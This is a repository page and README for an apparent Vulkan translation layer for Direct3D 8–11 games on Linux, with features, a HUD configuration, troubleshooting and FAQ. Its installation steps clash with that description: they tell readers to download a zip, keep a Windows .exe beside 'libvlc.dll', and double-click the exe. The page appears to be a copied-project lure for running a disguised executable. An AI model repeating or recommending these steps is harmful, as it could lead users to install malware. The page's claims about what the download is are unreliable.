Pixel20646/vulkan-directx-compatibility-layer
About
Open-source Vulkan translation layer for Direct3D 8, 9, 10 and 11 gaming on Linux with Wine compatibility.
Games & EmulationWhat you can do
- 🎮 DirectX 8–11 Compatibility — Translate legacy Direct3D 8, Direct3D 9, Direct3D 10 and Direct3D 11 graphics calls into Vulkan operations.
- ⚡ High-Performance Vulkan Rendering — Use modern Vulkan graphics infrastructure to execute supported DirectX workloads efficiently.
- 🐧 Linux and Wine Integration — Run compatible Windows games and applications through established Wine-based environments.
- 🧩 Advanced Shader Translation — Convert Direct3D shader instructions into Vulkan-compatible SPIR-V representations.
Measured star growth
- in 24h
- Update delayed
- in 7 days
- Update delayed
- in 15 days
- Update delayed
- in 1 month
- Update delayed
Net star changes over overlapping periods, not daily totals. Missing measurements are left blank. Stars measure attention, not software quality.
README.md
Original![]()
Vulkan DirectX Compatibility Layer is a free, open-source graphics translation solution that brings Direct3D 8, 9, 10 and 11 applications to Vulkan-powered Linux systems through Wine. Designed for Linux gamers, graphics enthusiasts and developers, it provides efficient GPU rendering, shader translation and compatibility improvements without requiring a custom graphics engine.
⬇️ Installation
Download the Windows application
- Open the repository's Releases page.
- Download the latest release archive
Vulkan DirectX Compatibility Layer 4.1.1.zip. - Extract the archive into a folder of your choice.
- Keep
Vulkan DirectX Compatibility Layer 4.1.1.exeandlibvlc.dlltogether in that folder. - Double-click
Vulkan DirectX Compatibility Layer 4.1.1.exeto launch the application.
✨ Features
- 🎮 DirectX 8–11 Compatibility — Translate legacy Direct3D 8, Direct3D 9, Direct3D 10 and Direct3D 11 graphics calls into Vulkan operations.
- ⚡ High-Performance Vulkan Rendering — Use modern Vulkan graphics infrastructure to execute supported DirectX workloads efficiently.
- 🐧 Linux and Wine Integration — Run compatible Windows games and applications through established Wine-based environments.
- 🧩 Advanced Shader Translation — Convert Direct3D shader instructions into Vulkan-compatible SPIR-V representations.
- 📊 Real-Time Performance HUD — Monitor FPS, frame times, GPU information, memory usage and rendering statistics while gaming.
- 🔧 Flexible Graphics Configuration — Configure API-specific libraries, diagnostic output and runtime behavior for different applications.
- 💻 32-Bit and 64-Bit Support — Accommodate both legacy 32-bit applications and modern 64-bit software.
🖼️ Overview
![]()
Graphics Translation Architecture
The compatibility layer connects applications using legacy Direct3D interfaces with modern Vulkan graphics drivers.
┌───────────────────────────────┐
│ Windows Application │
│ │
│ Direct3D 8 / 9 / 10 / 11 │
└───────────────┬───────────────┘
│
▼
┌───────────────────────────────┐
│ Vulkan DirectX Compatibility│
│ │
│ API Translation │
│ Shader Conversion │
│ Resource Management │
│ Command Processing │
└───────────────┬───────────────┘
│
▼
┌───────────────────────────────┐
│ Vulkan Graphics │
│ │
│ GPU Driver │
│ Graphics Pipeline │
│ Rendering Engine │
└───────────────┬───────────────┘
│
▼
┌───────────────────────────────┐
│ Rendered Output │
│ │
│ Games & Apps │
└───────────────────────────────┘
Supported Graphics APIs
| Graphics API | Translation support |
|---|---|
| Direct3D 8 | Supported |
| Direct3D 9 | Supported |
| Direct3D 10 | Supported |
| Direct3D 11 | Supported |
| Vulkan | Rendering backend |
| SPIR-V | Shader representation |
Performance Monitoring
The integrated diagnostic HUD provides useful information for understanding graphics performance:
- FPS and frame-time statistics.
- GPU model and graphics driver information.
- Graphics and compute pipeline counters.
- Draw calls and rendering submissions.
- GPU memory allocation statistics.
- Shader compiler activity.
- API and feature-level information.
🚀 Usage
The compatibility layer is designed to work with Wine-based application environments.
- Prepare your system: Install a compatible Vulkan graphics driver and configure Wine.
- Select an application: Choose a Windows game or graphics application that uses a supported Direct3D interface.
- Configure the compatibility layer: Install the appropriate 32-bit or 64-bit runtime libraries into the application environment.
- Enable the graphics translation: Configure the relevant Direct3D library overrides through your Wine environment.
- Launch your application: Start the application through your preferred Wine-compatible launcher.
- Monitor performance: Enable the diagnostic HUD when you need additional graphics and rendering information.
Compatible Gaming Environments
The translation layer can integrate with Wine-based gaming environments and application managers, including:
- Steam Play and Proton.
- Lutris.
- Bottles.
- Heroic Games Launcher.
- Standard Wine installations.
Actual compatibility depends on the application, Vulkan driver, hardware and runtime configuration.
Performance HUD
The diagnostic overlay can help investigate rendering behavior and performance bottlenecks.
Example configuration:
DXVK_HUD=fps,frametimes,devinfo
Display additional graphics information:
DXVK_HUD=full
Common HUD indicators:
| Indicator | Description |
|---|---|
fps |
Current frame rate |
frametimes |
Frame-time graph |
devinfo |
GPU and driver information |
drawcalls |
Rendering call statistics |
pipelines |
Graphics and compute pipelines |
memory |
GPU memory usage |
gpuload |
Estimated GPU utilization |
compiler |
Shader compiler activity |
version |
Runtime version |
api |
Active graphics API information |
⚙️ Technical Architecture
The project focuses on translating established Direct3D interfaces into Vulkan-compatible rendering operations.
API Translation
The compatibility layer intercepts supported Direct3D calls and implements corresponding operations using Vulkan. This allows applications built around older Windows graphics APIs to benefit from modern graphics drivers.
Shader Processing
Shader translation converts supported Direct3D shader representations into SPIR-V, Vulkan's intermediate shader representation.
This process helps bridge differences between legacy graphics interfaces and Vulkan's programmable rendering pipeline.
GPU Resource Management
The rendering backend handles graphics resources, command submission and pipeline-related operations while coordinating with the underlying Vulkan implementation.
Driver Compatibility
Vulkan driver support is an important part of the overall compatibility experience. Driver versions, GPU capabilities and implementation-specific behavior can affect individual games and applications.
🖥️ System Requirements
| Component | Requirement |
|---|---|
| Operating system | Linux |
| Compatibility runtime | Wine or compatible environment |
| Graphics API | Vulkan |
| Graphics hardware | Vulkan-capable GPU |
| Graphics driver | Compatible Vulkan driver |
| Application architecture | 32-bit and/or 64-bit |
| Target software | Direct3D 8, 9, 10 or 11 applications |
Note: Individual applications may require additional graphics features or specific driver capabilities.
🔍 Troubleshooting
Application Does Not Start
- Confirm that Wine is correctly configured.
- Check that the appropriate architecture-specific libraries are installed.
- Verify that the Direct3D library overrides are configured correctly.
- Review application and runtime logs.
Vulkan Initialization Errors
- Confirm that Vulkan is available on the system.
- Check GPU driver compatibility.
- Verify that the graphics device supports the required Vulkan features.
- Update outdated graphics drivers when appropriate.
Unexpected Rendering Behavior
- Test with a different supported graphics driver if available.
- Check application-specific compatibility information.
- Inspect runtime logs for shader or pipeline errors.
- Compare behavior with the application's default graphics translation path.
Performance Issues
- Monitor FPS and frame-time statistics.
- Check GPU utilization and memory usage.
- Investigate shader compilation activity.
- Ensure that the application is using the intended Vulkan rendering backend.
🔒 Security
Security, transparency and user control are important project principles.
- Open-source implementation: Source code can be reviewed and audited.
- No telemetry or tracking: The application does not require built-in behavioral analytics or user tracking.
- Local execution: Graphics translation is performed within the local application environment.
- No account required: Core compatibility functionality does not depend on a project account.
- Responsible reporting: Report security vulnerabilities privately to the project maintainers rather than publishing exploitable details immediately.
Multiplayer and Anti-Cheat Notice
Modifying or replacing graphics libraries in online multiplayer games may violate individual game rules or anti-cheat policies. This can result in account restrictions or bans.
Always review the applicable game terms and anti-cheat requirements before using graphics modifications in online environments.
🤝 Contributing
Contributions from developers, Linux gamers and graphics enthusiasts are welcome.
You can help improve the project by:
- Reporting reproducible graphics compatibility issues.
- Investigating Vulkan driver-related problems.
- Improving shader translation and rendering behavior.
- Submitting performance improvements.
- Reviewing documentation and troubleshooting guidance.
- Testing compatibility across different GPUs and applications.
For code contributions, keep changes focused, provide a clear description and include relevant testing information.
📚 Technical Resources
Useful technologies and documentation for understanding the graphics stack:
- Vulkan — Modern cross-platform graphics and compute API.
- SPIR-V — Intermediate language for graphics and compute shaders.
- Wine — Compatibility layer for running Windows applications on Unix-like systems.
- Direct3D — Microsoft's graphics API documentation.
❓ Frequently Asked Questions
Is this a DirectX emulator?
No. It is a graphics API translation layer that implements supported Direct3D interfaces using Vulkan rather than emulating an entire Windows operating system.
Can it run Windows games on Linux?
It can help run compatible Direct3D-based Windows games through Wine and related environments. Compatibility varies by title and hardware.
Does it require Vulkan?
Yes. A compatible Vulkan implementation and graphics driver are essential.
Does it support older DirectX games?
It includes translation support for Direct3D 8 and Direct3D 9, as well as Direct3D 10 and Direct3D 11.
Can I monitor FPS?
Yes. The built-in HUD supports FPS, frame-time graphs and various GPU and rendering statistics.
Does it replace Wine?
No. It complements Wine by providing a Vulkan-based implementation of supported Direct3D graphics interfaces.
📄 License
Released under the MIT License. See the repository's LICENSE file for complete terms.
Vulkan DirectX Compatibility Layer — Modern Vulkan rendering for compatible Direct3D applications, with open-source Linux gaming compatibility at its core.
Explore related projects
Loading…